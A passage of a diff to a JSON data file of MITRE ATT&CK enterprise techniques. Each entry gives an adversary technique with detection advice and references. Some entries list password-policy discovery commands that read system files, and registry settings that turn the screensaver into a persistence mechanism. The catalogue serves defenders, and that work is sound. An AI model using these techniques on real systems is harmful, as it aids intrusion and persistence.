Anastasios Pingios", - "value": "SSH Hijacking - T1184", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1184", - "https://www.slideshare.net/morisson/mistrusting-and-abusing-ssh-13526219", - "https://www.blackhat.com/presentations/bh-usa-05/bh-us-05-boileau.pdf", - "https://www.clockwork.com/news/2012/09/28/602/ssh%20agent%20hijacking", - "https://www.welivesecurity.com/2014/02/21/an-in-depth-analysis-of-linuxebury/" - ], - "mitre_data_sources": [ - "Authentication logs" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "c1b11bf7-c68e-4fbf-a95b-28efbe7953bb" - }, - { - "description": "Root certificates are used in public key cryptography to identify a root certificate authority (CA). When a root certificate is installed, the system or application will trust certificates in the root's chain of trust that have been signed by the root certificate. (Citation: Wikipedia Root Certificate) Certificates are commonly used for establishing secure TLS/SSL communications within a web browser. When a user attempts to browse a website that presents a certificate that is not trusted an error message will be displayed to warn the user of the security risk. Depending on the security settings, the browser may not allow the user to establish a connection to the website.\n\nInstallation of a root certificate on a compromised system would give an adversary a way to degrade the security of that system. Adversaries have used this technique to avoid security warnings prompting users when compromised systems connect over HTTPS to adversary controlled web servers that spoof legitimate websites in order to collect login credentials. (Citation: Operation Emmental)\n\nAtypical root certificates have also been pre-installed on systems by the manufacturer or in the software supply chain and were used in conjunction with malware/adware to provide a man-in-the-middle capability for intercepting information transmitted over secure TLS/SSL communications. (Citation: Kaspersky Superfish)\n\nDetection: A system's root certificates are unlikely to change frequently. Monitor new certificates installed on a system that could be due to malicious activity. Check pre-installed certificates on new systems to ensure unnecessary or suspicious certificates are not present.\n\nInstalled root certificates are located in the Registry: HKLM\\SOFTWARE\\Microsoft\\SystemCertificates\\ROOT\\Certificates. There is a subset of root certificates that are consistent across Windows systems and can be used for comparison: (Citation: Tripwire AppUNBlocker)\n*18F7C1FCC3090203FD5BAA2F861A754976C8DD25\n*245C97DF7514E7CF2DF8BE72AE957B9E04741E85\n*3B1EFD3A66EA28B16697394703A72CA340A05BD5\n*7F88CD7223F3C813818C994614A89C99FA3B5247\n*8F43288AD272F3103B6FB1428485EA3014C0BCFE\n*A43489159A520F0D93D032CCAF37E7FE20A8B419\n*BE36A4562FB2EE05DBB3D32323ADF445084ED656\n*CDD4EEAE6000AC7F40C3802C171E30148030C072\n\nPlatforms: Linux, Windows\n\nData Sources: SSL/TLS inspection, Digital Certificate Logs\n\nDefense Bypassed: Digital Certificate Validation\n\nPermissions Required: Administrator\n\nContributors: Itzik Kotler, SafeBreach, Travis Smith, Tripwire", - "value": "Install Root Certificate - T1130", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1130", - "https://en.wikipedia.org/wiki/Root%20certificate", - "http://www.trendmicro.com/cloud-content/us/pdfs/security-intelligence/white-papers/wp-finding-holes-operation-emmental.pdf", - "https://www.kaspersky.com/blog/lenovo-pc-with-adware-superfish-preinstalled/7712/", - "https://www.tripwire.com/state-of-security/off-topic/appunblocker-bypassing-applocker/" - ], - "mitre_data_sources": [ - "SSL/TLS inspection", - "Digital Certificate Logs" - ], - "mitre_platforms": [ - "Linux", - "Windows" - ] - }, - "uuid": "d519cfd5-f3a8-43a9-a846-ed0bb40672b1" - }, - { - "description": "An adversary may exfiltrate data in fixed size chunks instead of whole files or limit packet sizes below certain thresholds. This approach may be used to avoid triggering network data transfer threshold alerts.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). If a process maintains a long connection during which it consistently sends fixed size data packets or a process opens connections and sends fixed sized data packets at regular intervals, it may be performing an aggregate data transfer. Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", - "value": "Data Transfer Size Limits - T1030", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1030", - "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" - ], - "mitre_data_sources": [ - "Packet capture", - "Netflow/Enclave netflow", - "Process use of network", - "Process monitoring" - ], - "mitre_platforms": [ - "Linux", - "macOS", - "Windows" - ] - }, - "uuid": "c3888c54-775d-4b2f-b759-75a2ececcbfd" - }, - { - "description": "~/.bash_profile and ~/.bashrc are executed in a user's context when a new shell opens or when a user logs in so that their environment is set correctly. ~/.bash_profile is executed for login shells and ~/.bashrc is executed for interactive non-login shells. This means that when a user logs in (via username and password) to the console (either locally or remotely via something like SSH), ~/.bash_profile is executed before the initial command prompt is returned to the user. After that, every time a new shell is opened, ~/.bashrc is executed. This allows users more fine grained control over when they want certain commands executed.\n\nMac's Terminal.app is a little different in that it runs a login shell by default each time a new terminal window is opened, thus calling ~/.bash_profile each time instead of ~/.bashrc.\n\nThese files are meant to be written to by the local user to configure their own environment; however, adversaries can also insert code into these files to gain persistence each time a user logs in or opens a new shell.\n\nDetection: While users may customize their ~/.bashrc and ~/.bash_profile files , there are only certain types of commands that typically appear in these files. Monitor for abnormal commands such as execution of unknown programs, opening network sockets, or reaching out across the network when user profiles are loaded during the login process.\n\nPlatforms: Linux, macOS\n\nData Sources: File monitoring, Process Monitoring, Process command-line parameters, Process use of network\n\nPermissions Required: User, Administrator", - "value": ".bash_profile and .bashrc - T1156", - "meta": { - "refs": [ - "https://attack.mitre.org/wiki/Technique/T1156" - ], - "mitre_data_sources": [ - "File monitoring", - "Process Monitoring", - "Process command-line parameters", - "Process use of network" - ], - "mitre_platforms": [ - "Linux", - "macOS" - ] - }, - "uuid": "01df3350-ce05-4bdf-bdf8-0a919a66d4a8" - } - ] -} + "name": "Enterprise Attack - Attack Pattern", + "type": "mitre-enterprise-attack-attack-pattern", + "description": "ATT&CK tactic", + "version": 4, + "source": "https://github.com/mitre/cti", + "uuid": "fb2242d8-1707-11e8-ab20-6fa7448c3640", + "authors": [ + "MITRE" + ], + "values": [ + { + "description": "Data exfiltration is performed with a different protocol from the main command and control protocol or channel. The data is likely to be sent to an alternate network location from the main command and control server. Alternate protocols include FTP, SMTP, HTTP/S, DNS, or some other network protocol. Different channels could include Internet Web services such as cloud storage.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: User interface, Process monitoring, Process use of network, Packet capture, Netflow/Enclave netflow, Network protocol analysis\n\nRequires Network: Yes", + "value": "Exfiltration Over Alternative Protocol - T1048", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1048", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1048", + "kill_chain": [ + "mitre-attack:enterprise-attack:exfiltration" + ], + "mitre_data_sources": [ + "User interface", + "Process monitoring", + "Process use of network", + "Packet capture", + "Netflow/Enclave netflow", + "Network protocol analysis" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "a19e86f8-1c0a-4fea-8407-23b73d615776" + }, + { + "description": "Adversaries may communicate using a common, standardized application layer protocol such as HTTP, HTTPS, SMTP, or DNS to avoid detection by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.\n\nFor connections that occur internally within an enclave (such as those between a proxy or pivot node and other nodes), commonly used protocols are RPC, SSH, or RDP.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect application layer protocols that do not follow the expected protocol for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Malware reverse engineering, Process monitoring\n\nRequires Network: Yes", + "value": "Standard Application Layer Protocol - T1071", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1071", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1071", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Malware reverse engineering", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "355be19c-ffc9-46d5-8d50-d6a036c675b6" + }, + { + "description": "Adversaries can perform command and control between compromised hosts on potentially disconnected networks using removable media to transfer commands from system to system. Both systems would need to be compromised, with the likelihood that an Internet-connected system was compromised first and the second through lateral movement by Replication Through Removable Media. Commands and files would be relayed from the disconnected system to the Internet-connected system to which the adversary has direct access.\n\nDetection: Monitor file access on removable media. Detect processes that execute when removable media is mounted.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Data loss prevention\n\nRequires Network: No", + "value": "Communication Through Removable Media - T1092", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1092" + ], + "external_id": "T1092", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "File monitoring", + "Data loss prevention" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "64196062-5210-42c3-9a02-563a0d1797ef" + }, + { + "description": "Adversaries may leverage information repositories to mine valuable information. Information repositories are tools that allow for storage of information, typically to facilitate collaboration or information sharing between users, and can store a wide variety of data that may aid adversaries in further objectives, or direct access to the target information.\n\nThe following is a brief list of example information that may hold potential value to an adversary and may also be found on an information repository:\n\n* Policies, procedures, and standards\n* Physical / logical network diagrams\n* System architecture diagrams\n* Technical system documentation\n* Testing / development credentials\n* Work / project schedules\n* Source code snippets\n* Links to network shares and other internal resources\n\nCommon information repositories:\n\n===Microsoft SharePoint===\nFound in many enterprise networks and often used to store and share significant amounts of documentation.\n\n===Atlassian Confluence===\nOften found in development environments alongside Atlassian JIRA, Confluence is generally used to store development-related documentation.\n\nDetection: As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should not generally used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.\n\nThe user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging) The user user access logging within Atlassian's Confluence can also be configured to report access to certain pages and documents through AccessLogFilter. (Citation: Atlassian Confluence Logging) Additional log storage and analysis infrastructure will likely be required for more robust detection capabilities.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Application Logs, Authentication logs, Data loss prevention, Third-party application logs\n\nPermissions Required: User\n\nContributors: Milos Stojadinovic", + "value": "Data from Information Repositories - T1213", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1213", + "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2", + "https://confluence.atlassian.com/confkb/how-to-enable-user-access-logging-182943.html" + ], + "external_id": "T1213", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "Application Logs", + "Authentication logs", + "Data loss prevention", + "Third-party application logs" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "d28ef391-8ed4-45dc-bc4a-2f43abf54416" + }, + { + "description": "Screensavers are programs that execute after a configurable time of user inactivity and consist of Portable Executable (PE) files with a .scr file extension. (Citation: Wikipedia Screensaver) The Windows screensaver application scrnsave.exe is located in C:\\Windows\\System32\\ along with screensavers included with base Windows installations. The following screensaver settings are stored in the Registry (HKCU\\Control Panel\\Desktop\\) and could be manipulated to achieve persistence:\n\n*SCRNSAVE.exe - set to malicious PE path\n*ScreenSaveActive - set to '1' to enable the screensaver\n*ScreenSaverIsSecure - set to '0' to not require a password to unlock\n*ScreenSaverTimeout - sets user inactivity timeout before screensaver is executed\n\nAdversaries can use screensaver settings to maintain persistence by setting the screensaver to run malware after a certain timeframe of user inactivity. (Citation: ESET Gazer Aug 2017)\n\nDetection: Monitor process execution and command-line parameters of .scr files. Monitor changes to screensaver configuration changes in the Registry that may not correlate with typical user behavior.\n\nTools such as Sysinternals Autoruns can be used to detect changes to the screensaver binary path in the Registry. Suspicious paths and PE files may indicate outliers among legitimate screensavers in a network and should be investigated.\n\nPlatforms: Windows\n\nData Sources: Process Monitoring, Process command-line parameters, Windows Registry, File monitoring\n\nPermissions Required: User\n\nContributors: Bartosz Jerzman", + "value": "Screensaver - T1180", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1180", + "https://en.wikipedia.org/wiki/Screensaver", + "https://www.welivesecurity.com/wp-content/uploads/2017/08/eset-gazer.pdf" + ], + "external_id": "T1180", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence" + ], + "mitre_data_sources": [ + "Process Monitoring", + "Process command-line parameters", + "Windows Registry", + "File monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "2892b9ee-ca9f-4723-b332-0dc6e843a8ae" + }, + { + "description": "Password policies for networks are a way to enforce complex passwords that are difficult to guess or crack through Brute Force. An adversary may attempt to access detailed information about the password policy used within an enterprise network. This would help the adversary to create a list of common passwords and launch dictionary and/or brute force attacks which adheres to the policy (e.g. if the minimum password length should be 8, then not trying passwords such as 'pass123'; not checking for more than 3-4 passwords per account if the lockout is set to 6 as to not lock out accounts).\n\nPassword policies can be set and discovered on Windows, Linux, and macOS systems. (Citation: Superuser Linux Password Policies) (Citation: Jamf User Password Policies)\n\n===Windows===\n* net accounts\n* net accounts /domain\n\n===Linux===\n* chage -l \n* cat /etc/pam.d/common-password\n\n===macOS===\n* pwpolicy getaccountpolicies\n\nDetection: Monitor processes for tools and command line arguments that may indicate they're being used for password policy discovery. Correlate that activity with other suspicious activity from the originating system to reduce potential false positives from valid user or administrator activity. Adversaries will likely attempt to find the password policy early in an operation and the activity is likely to happen with other Discovery activity.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Process command-line parameters, Process Monitoring\n\nPermissions Required: User\n\nContributors: Sudhanshu Chauhan, @Sudhanshu_C", + "value": "Password Policy Discovery - T1201", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1201", + "https://superuser.com/questions/150675/how-to-display-password-policy-information-for-a-user-ubuntu", + "https://www.jamf.com/jamf-nation/discussions/18574/user-password-policies-on-non-ad-machines" + ], + "external_id": "T1201", + "kill_chain": [ + "mitre-attack:enterprise-attack:discovery" + ], + "mitre_data_sources": [ + "Process command-line parameters", + "Process Monitoring" + ], + "mitre_platforms": [ + "Linux", + "Windows", + "macOS" + ] + }, + "uuid": "b6075259-dba3-44e9-87c7-e954f37ec0d5" + }, + { + "description": "Adversaries may communicate using a custom command and control protocol instead of using existing Standard Application Layer Protocol to encapsulate commands. Implementations could mimic well-known protocols.\n\nDetection: Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Packet capture, Netflow/Enclave netflow, Process use of network, Process monitoring\n\nRequires Network: Yes", + "value": "Custom Command and Control Protocol - T1094", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1094", + "https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf" + ], + "external_id": "T1094", + "kill_chain": [ + "mitre-attack:enterprise-attack:command-and-control" + ], + "mitre_data_sources": [ + "Packet capture", + "Netflow/Enclave netflow", + "Process use of network", + "Process monitoring" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "f72eb8a8-cd4c-461d-a814-3f862befbf00" + }, + { + "description": "Processes may automatically execute specific binaries as part of their functionality or to perform other actions. If the permissions on the file system directory containing a target binary, or permissions on the binary itself, are improperly set, then the target binary may be overwritten with another binary using user-level permissions and executed by the original process. If the original process and thread are running under a higher permissions level, then the replaced binary will also execute under higher-level permissions, which could include SYSTEM.\n\nAdversaries may use this technique to replace legitimate binaries with malicious ones as a means of executing code at a higher permissions level. If the executing process is set to run at a specific time or during a certain event (e.g., system bootup) then this technique can also be used for persistence.\n\n===Services===\n\nManipulation of Windows service binaries is one variation of this technique. Adversaries may replace a legitimate service executable with their own executable to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService). Once the service is started, either directly by the user (if appropriate access is available) or through some other means, such as a system restart if the service starts on bootup, the replaced executable will run instead of the original service executable.\n\n===Executable Installers===\n\nAnother variation of this technique can be performed by taking advantage of a weakness that is common in executable, self-extracting installers. During the installation process, it is common for installers to use a subdirectory within the %TEMP% directory to unpack binaries such as DLLs, EXEs, or other payloads. When installers create subdirectories and files they often do not set appropriate permissions to restrict write access, which allows for execution of untrusted code placed in the subdirectories or overwriting of binaries used in the installation process. This behavior is related to and may take advantage of DLL Search Order Hijacking. Some installers may also require elevated privileges that will result in privilege escalation when executing adversary controlled code. This behavior is related to Bypass User Account Control. Several examples of this weakness in existing common installers have been reported to software vendors. (Citation: Mozilla Firefox Installer DLL Hijack) (Citation: Seclists Kanthak 7zip Installer)\n\nDetection: Look for changes to binaries and service executables that may normally occur during software updates. If an executable is written, renamed, and/or moved to match an existing service executable, it could be detected and correlated with other suspicious behavior. Hashing of binaries and service executables could be used to detect replacement against historical data.\n\nLook for abnormal process call trees from typical processes and services and for execution of other commands that could relate to Discovery or other adversary techniques.\n\nPlatforms: Windows\n\nData Sources: File monitoring, Process command-line parameters, Services\n\nEffective Permissions: User, Administrator, SYSTEM\n\nPermissions Required: User, Administrator\n\nContributors: Stefan Kanthak, Travis Smith, Tripwire", + "value": "File System Permissions Weakness - T1044", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1044", + "https://www.mozilla.org/en-US/security/advisories/mfsa2012-98/", + "http://seclists.org/fulldisclosure/2015/Dec/34" + ], + "external_id": "T1044", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "File monitoring", + "Process command-line parameters", + "Services" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "0ca7beef-9bbc-4e35-97cf-437384ddce6a" + }, + { + "description": "Process hollowing occurs when a process is created in a suspended state then its memory is unmapped and replaced with malicious code. Similar to Process Injection, execution of the malicious code is masked under a legitimate process and may evade defenses and detection analysis. (Citation: Leitch Hollowing) (Citation: Engame Process Injection July 2017)\n\nDetection: Monitoring API calls may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. API calls that unmap process memory, such as ZwUnmapViewOfSection or NtUnmapViewOfSection, and those that can be used to modify memory within another process, such as WriteProcessMemory, may be used for this technique. (Citation: Engame Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior.\n\nPlatforms: Windows\n\nData Sources: Process monitoring, API monitoring\n\nDefense Bypassed: Process whitelisting, Anti-virus, Whitelisting by file name or path, Signature-based detection\n\nPermissions Required: User", + "value": "Process Hollowing - T1093", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1093", + "http://www.autosectools.com/process-hollowing.pdf", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process" + ], + "external_id": "T1093", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Process monitoring", + "API monitoring" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "1c338d0f-a65e-4073-a5c1-c06878849f21" + }, + { + "description": "Adversaries may use scripts to aid in operations and perform multiple actions that would otherwise be manual. Scripting is useful for speeding up operational tasks and reducing the time required to gain access to critical resources. Some scripting languages may be used to bypass process monitoring mechanisms by directly interacting with the operating system at an API level instead of calling other programs. Common scripting languages for Windows include VBScript and PowerShell but could also be in the form of command-line batch scripts.\n\nScripts can be embedded inside Office documents as macros that can be set to execute when files used in Spearphishing Attachment and other types of spearphishing are opened. Malicious embedded macros are an alternative means of execution than software exploitation through Exploitation for Client Execution, where adversaries will rely on macos being allowed or that the user will accept to activate them.\n\nMany popular offensive frameworks exist which use forms of scripting for security testers and adversaries alike. (Citation: Metasploit) (Citation: Metasploit), (Citation: Veil) (Citation: Veil), and PowerSploit (Citation: Powersploit) are three examples that are popular among penetration testers for exploit and post-compromise operations and include many features for evading defenses. Some adversaries are known to use PowerShell. (Citation: Alperovitch 2014)\n\nDetection: Scripting may be common on admin, developer, or power user systems, depending on job function. If scripting is restricted for normal users, then any attempts to enable scripts running on a system would be considered suspicious. If scripts are not commonly used on a system, but enabled, scripts running out of cycle from patching or other administrator functions are suspicious. Scripts should be captured from the file system when possible to determine their actions and intent.\n\nScripts are likely to perform actions with various effects on a system that may generate events, depending on the types of monitoring used. Monitor processes and command-line arguments for script execution and subsequent behavior. Actions may be related to network and system information Discovery, Collection, or other scriptable post-compromise behaviors and could be used as indicators of detection leading back to the source script.\n\nAnalyze Office file attachments for potentially malicious macros. Execution of macros may create suspicious process trees depending on what the macro is designed to do. Office processes, such as word.exe, spawning instances of cmd.exe, script application like wscript.exe or powershell.exe, or other suspicious processes may indicate malicious activity. (Citation: Uperesia Malicious Office Documents)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: Process monitoring, File monitoring, Process command-line parameters\n\nDefense Bypassed: Process whitelisting, Data Execution Prevention, Exploit Prevention\n\nPermissions Required: User", + "value": "Scripting - T1064", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1064", + "http://www.metasploit.com", + "https://www.veil-framework.com/framework/", + "https://github.com/mattifestation/PowerSploit", + "https://blog.crowdstrike.com/deep-thought-chinese-targeting-national-security-think-tanks/", + "https://www.uperesia.com/analyzing-malicious-office-documents" + ], + "external_id": "T1064", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion", + "mitre-attack:enterprise-attack:execution" + ], + "mitre_data_sources": [ + "Process monitoring", + "File monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "7fd87010-3a00-4da3-b905-410525e8ec44" + }, + { + "description": "macOS and OS X applications send AppleEvent messages to each other for interprocess communications (IPC). These messages can be easily scripted with AppleScript for local or remote IPC. Osascript executes AppleScript and any other Open Scripting Architecture (OSA) language scripts. A list of OSA languages installed on a system can be found by using the osalang program.\nAppleEvent messages can be sent independently or as part of a script. These events can locate open windows, send keystrokes, and interact with almost any open application locally or remotely. \n\nAdversaries can use this to interact with open SSH connection, move to remote machines, and even present users with fake dialog boxes. These events cannot start applications remotely (they can start them locally though), but can interact with applications if they're already running remotely. Since this is a scripting language, it can be used to launch more common techniques as well such as a reverse shell via python (Citation: Macro Malware Targets Macs). Scripts can be run from the command lie via osascript /path/to/script or osascript -e \"script here\".\n\nDetection: Monitor for execution of AppleScript through osascript that may be related to other suspicious behavior occurring on the system.\n\nPlatforms: macOS\n\nData Sources: API monitoring, System calls, Process Monitoring, Process command-line parameters\n\nPermissions Required: User\n\nRemote Support: Yes", + "value": "AppleScript - T1155", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1155", + "https://securingtomorrow.mcafee.com/mcafee-labs/macro-malware-targets-macs/" + ], + "external_id": "T1155", + "kill_chain": [ + "mitre-attack:enterprise-attack:execution", + "mitre-attack:enterprise-attack:lateral-movement" + ], + "mitre_data_sources": [ + "API monitoring", + "System calls", + "Process Monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "macOS" + ] + }, + "uuid": "5ad95aaa-49c1-4784-821d-2e83f47b079b" + }, + { + "description": "Sensitive data can be collected from any removable media (optical disk drive, USB memory, etc.) connected to the compromised system prior to Exfiltration.\n\nAdversaries may search connected removable media on computers they have compromised to find files of interest. Interactive command shells may be in use, and common functionality within cmd may be used to gather information. Some adversaries may also use Automated Collection on removable media.\n\nDetection: Monitor processes and command-line arguments for actions that could be taken to collect files from a system's connected removable media. Remote access tools with built-in features may interact directly with the Windows API to gather data. Data may also be acquired through Windows system management tools such as Windows Management Instrumentation and PowerShell.\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: File monitoring, Process monitoring, Process command-line parameters\n\nSystem Requirements: Privileges to access removable media drive and files", + "value": "Data from Removable Media - T1025", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1025" + ], + "external_id": "T1025", + "kill_chain": [ + "mitre-attack:enterprise-attack:collection" + ], + "mitre_data_sources": [ + "File monitoring", + "Process monitoring", + "Process command-line parameters" + ], + "mitre_platforms": [ + "Linux", + "macOS", + "Windows" + ] + }, + "uuid": "1b7ba276-eedc-4951-a762-0ceea2c030ec" + }, + { + "description": "Code signing provides a level of authenticity on a binary from the developer and a guarantee that the binary has not been tampered with. (Citation: Wikipedia Code Signing) However, adversaries are known to use code signing certificates to masquerade malware and tools as legitimate binaries (Citation: Janicab). The certificates used during an operation may be created, forged, or stolen by the adversary. (Citation: Securelist Digital Certificates) (Citation: Symantec Digital Certificates)\n\nCode signing to verify software on first run can be used on modern Windows and macOS/OS X systems. It is not used on Linux due to the decentralized nature of the platform. (Citation: Wikipedia Code Signing)\n\nCode signing certificates may be used to bypass security policies that require signed code to execute on a system.\n\nDetection: Collect and analyze signing certificate metadata on software that executes within the environment to look for unusual certificate characteristics and outliers.\n\nPlatforms: Windows, macOS\n\nData Sources: Binary file metadata\n\nDefense Bypassed: Windows User Account Control", + "value": "Code Signing - T1116", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1116", + "https://en.wikipedia.org/wiki/Code%20signing", + "http://www.thesafemac.com/new-signed-malware-called-janicab/", + "https://securelist.com/why-you-shouldnt-completely-trust-files-signed-with-digital-certificates/68593/", + "http://www.symantec.com/connect/blogs/how-attackers-steal-private-keys-digital-certificates" + ], + "external_id": "T1116", + "kill_chain": [ + "mitre-attack:enterprise-attack:defense-evasion" + ], + "mitre_data_sources": [ + "Binary file metadata" + ], + "mitre_platforms": [ + "Windows", + "macOS" + ] + }, + "uuid": "1b84d551-6de8-4b96-9930-d177677c3b1d" + }, + { + "description": "Dynamic-link libraries (DLLs) that are specified in the AppCertDLLs value in the Registry key HKEY_LOCAL_MACHINE\\System\\CurrentControlSet\\Control\\Session Manager are loaded into every process that calls the ubiquitously used application programming interface (API) functions: (Citation: Engame Process Injection July 2017)\n*CreateProcess\n*CreateProcessAsUser\n*CreateProcessWithLoginW\n*CreateProcessWithTokenW\n*WinExec\nSimilar to Process Injection, this value can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer.\n\nDetection: Monitor DLL loads by processes, specifically looking for DLLs that are not recognized or not normally loaded into a process. Monitor the AppCertDLLs Registry value for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Engame Process Injection July 2017) \n\nTools such as Sysinternals Autoruns may overlook AppCert DLLs as an auto-starting location. (Citation: TechNet Autoruns) (Citation: Sysinternals AppCertDlls Oct 2007)\n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.\n\nPlatforms: Windows\n\nData Sources: Loaded DLLs, Process Monitoring, Windows Registry\n\nEffective Permissions: Administrator, SYSTEM\n\nPermissions Required: Administrator, SYSTEM", + "value": "AppCert DLLs - T1182", + "meta": { + "refs": [ + "https://attack.mitre.org/wiki/Technique/T1182", + "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", + "https://technet.microsoft.com/en-us/sysinternals/bb963902", + "https://forum.sysinternals.com/appcertdlls%20topic12546.html" + ], + "external_id": "T1182", + "kill_chain": [ + "mitre-attack:enterprise-attack:persistence", + "mitre-attack:enterprise-attack:privilege-escalation" + ], + "mitre_data_sources": [ + "Loaded DLLs", + "Process Monitoring", + "Windows Registry" + ], + "mitre_platforms": [ + "Windows" + ] + }, + "uuid": "4bf5845d-a814-4490-bc5c-ccdee6043025" + }, + { + "description": "Rootkits are programs that hide the existence of malware by intercepting (i.e., Hooking) and modifying operating system API calls that supply system information. (Citation: Symantec Windows Rootkits) Rootkits or rootkit enabling functionality may reside at the user or kernel level in the operating system or lower, to include a Hypervisor, Master Boot Record, or the System Firmware. (Citation: Wikipedia Rootkit)\n\nAdversaries may use rootkits to hide the presence of programs, files, network connections, services, drivers, and other system components. Rootkits have been seen for Windows, Linux, and Mac OS X systems. (Citation: CrowdStrike Linux Rootkit) (Citation: BlackHat Mac OSX Rootkit)\n\nDetection: Some rootkit protections may be built into anti-virus or operating system software. There are dedicated rootkit detection tools that look for specific types of rootkit behavior. Monitor for the existence of unrecognized DLLs, devices, services, and changes to the MBR. (Citation: Wikipedia Rootkit)\n\nPlatforms: Linux, macOS, Windows\n\nData Sources: BIOS, MBR, System calls\n\nDefense Bypassed: Anti-virus, File monitoring, Host intrusion prevention systems, Process whitelisting, Signature-based detection, System access controls, Whitelisting by file name or path\n\nPermissions 